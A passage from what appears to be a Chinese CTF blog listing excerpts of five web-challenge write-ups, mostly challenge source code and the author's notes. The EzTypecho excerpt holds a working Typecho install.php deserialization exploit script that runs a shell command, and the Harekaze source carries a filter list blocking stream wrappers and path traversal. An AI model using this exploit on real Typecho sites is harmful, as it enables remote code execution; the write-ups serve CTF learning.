0%

[HarekazeCTF2019]encode_and_encode

感觉是一个外国比赛的签到题,思路很清楚就是不知道怎么实现
题目给了源码

<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) 
{
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) 
  {
    $content = "<p>not found</p>\n";
  }
} 
else 
{
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

获取我们的输入用json方式解码,解码前需要将输入内容进行一个过滤,然后再把file_get_contents的内容在进行一次过滤,两次均通过判断即可输出,输出之前再把flag给你替换掉

题解

阅读全文 »

[HFCTF2020]JustEscape

JS的题,又欺负我不会JS,稍微记一下以后入门用

题解

因为题目提示这可能不是一个PHP站,所以题目中run.php可能是一个故意设置的路由,简单测试之后发现报错完全不是PHP风格,猜测或为python或js。测着测着突然出现了一句TypeError: Cannot read property 'toString' of undefined,js无误了
后来看别人的wp,js测试的话可以用Error().stack直接查看报错信息,还能获取更多的信息
得到输出

Error
    at vm.js:1:1
    at Script.runInContext (vm.js:131:20)
    at VM.run (/app/node_modules/vm2/lib/main.js:219:62)
    at /app/server.js:51:33
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/app/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at /app/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)
阅读全文 »

[GKCTF2020]EzTypecho

暑假恢复刷题,顺便把以前堆积的东西也都更新到博客上,清一下桌面
GKCTF这次题感觉好多都是现有CVE之类的东西,然后加一点点
题目是一个typecho的安装流程,但是安装到一半就不给安装了,想了半天不知道他想让我怎样才能安装,后来才知道是typecho在安装时install.php有一个反序列化的任意代码执行。
最后题目还要求反序列化需要一个session,需要自己想办法建立一个session

题解

typecho反序列化的pop链网上都有分析了,抄一个脚本执行任意命令
https://www.freebuf.com/vuls/155753.html

<?php
$CMD = 'system("cat /flag")';

class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';

    private $_type;
    private $_items;

    public function __construct() {
        //$this->_type = $this::RSS2;

        $this->_type = $this::ATOM1;
        $this->_items[0] = array(
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}

class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct() {
        $this->_params['screenName'] = $GLOBALS[CMD];
        $this->_filter[0] = 'assert';
    }
}

$exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix'  => 'typecho_'
);

echo base64_encode(serialize($exp));
?>
阅读全文 »

[HFCTF2020]BabyUpload

学习了PHP的session机制,感觉还学到了点东西,懂了session是怎么存的这个题就很简单了

源码

好长一串

<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
} elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}
?>
阅读全文 »

[HITCON 2017]SSRFme

buu上的一个老题,又是不会做看wp的一天

给了源码

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

remote_addr就是用来创建一个沙盒的,然后用shell_exec执行一个GET命令,escapeshellarg会转义所有引号再在整个参数上加一个引号,防止了命令注入,就是说只能执行GET。
这个GET就是一个GET请求,可以使用file协议什么的,通过Perl实现(是我不懂的东西)
整体效果就是把GET请求到的东西写入我们对应的沙盒文件夹中。本来想写直接写一个PHP的shell的,但是靶机不能访问外网,并且估计也设置了沙盒中的PHP文件都不能解析之类的限制,而写文件的路径也被控制在了沙盒内,跳目录什么的也不太行

阅读全文 »